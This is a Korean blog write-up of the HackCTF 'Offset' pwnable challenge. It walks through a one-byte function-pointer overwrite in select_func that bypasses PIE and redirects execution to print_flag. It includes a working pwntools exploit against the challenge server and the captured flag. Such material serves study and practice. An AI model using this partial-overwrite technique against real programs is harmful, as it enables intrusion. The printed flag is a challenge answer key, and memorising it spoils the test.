미친해커

[HackCTF] Pwnable : Offset 본문

Hacking/HackCTF

[HackCTF] Pwnable : Offset

미친해커 2021. 6. 26. 20:52
반응형

┌──(root💀DESKTOP-H0EJIE2)-[~/Hacking/Pwnable/HackCTF/offset]
└─# checksec offset
[*] '/root/HackCTF/offset/offset'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

보호기법은 스택 카나리를 제외한 모든 보호기법이 걸렸이다. 생각 외로 어려운 문제가 될수도 있다고 생각한다.

Funtions window를 확인해보니 main 함수 이외에도 사용자 정의 함수가 여럿보인다. 아무래도 print_flag 함수를 실행시키면 flag를 따낼 수 있을것으로 보인다.

int print_flag()
{
  char i; // al
  FILE *fp; // [esp+Ch] [ebp-Ch]

  puts("This function is still under development.");
  fp = fopen("flag.txt", "r");
  for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
    putchar(i);
  return putchar(10);
}

이번엔 main 함수를 확인해 보자

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1h] [ebp-27h]
  int *v5; // [esp+20h] [ebp-8h]

  v5 = &argc;
  setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
  puts("Which function would you like to call?");
  gets(&s);
  select_func(&s);
  return 0;
}

main 함수에서 gets 함수를 호출하는데 여기서 BOF가 발생한다. 하지만 BOF가 발생해 return이 되기 전에 select_func라고 함수의 인자로 입력받은 문자열을 전달하는데 한번 select_func도 확인이 필요할 것 같다.

int __cdecl select_func(char *src)
{
  char dest; // [esp+Eh] [ebp-2Ah]
  int (*v3)(void); // [esp+2Ch] [ebp-Ch]

  v3 = two;
  strncpy(&dest, src, 0x1F);
  if ( !strcmp(&dest, "one") )
    v3 = one;
  return v3();
}

select_func 함수에서는 인자로 받은 문자열을 dest에 복사하는데 여기서도 BOF가 발생한다.

단순하게 생각한다면 main 함수의 gets 함수에서 BOF를 발생시켜 ret 주소를 print_flag 함수의 주소로 덮으면 되는게 아닌가 라는 생각을 할 수도 있지만 그렇게 BOF를 시도하면 안된다.

main 함수와 select_func 함수의 스택 구조를 보면 위와 같은데 select_func 함수에서 s의 문자열을 31 바이트 만큼 dest 변수로 복사한다. 이 과정에서 BOF가 발생하게 되는데 이때 v3 함수 포인터의 맨 마지막 1 바이트가 덮어씌워진다. 그러면서 v3에 들어가 있는 함수가 실행될때 오류가 발생하면서 프로그램이 종료되게 된다. 즉 main 함수에서 BOF를 발생시켜 ret 주소를 print_flag의 주소로 덮어씌워도 select_func 함수에서 오류가 발생해 프로그램이 종료되기 때문에 print_flag 함수는 실행되지 않는다. Functions window를 다시 한번 확인해보자

 

기본적으로 v3에는 two 함수의 주소가 들어가는데 이 바이너리에는 PIE 보호기법이 적용되어 있다. 그러므로 two 함수의 주소는 매번 바뀌게 되지만 two 함수의 오프셋은 0x6AD, print_flag 함수의 오프셋은 0x6D8 이므로 strncpy에서 v3의 1 바이트를 BOF 할때 맨 마지막 바이트를 0xAD에서 0xD8 덮어씌워주면 print_flag 함수가 호출된다.

# file : offset.py
from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3007)

payload = 'A' * 30 + '\xd8'

p.sendline(payload)
print(p.recvrepeat(1))
┌──(root💀kali)-[~/mnt/z/Hacking/Pwnable/HackCTF/8. offset]
└─# python offset.py 
[+] Opening connection to ctf.j0n9hyun.xyz on port 3007: Done
Which function would you like to call?
This function is still under development.
HackCTF{76155655017129668567067265451379677609132507783606}

[*] Closed connection to ctf.j0n9hyun.xyz port 3007
반응형
Comments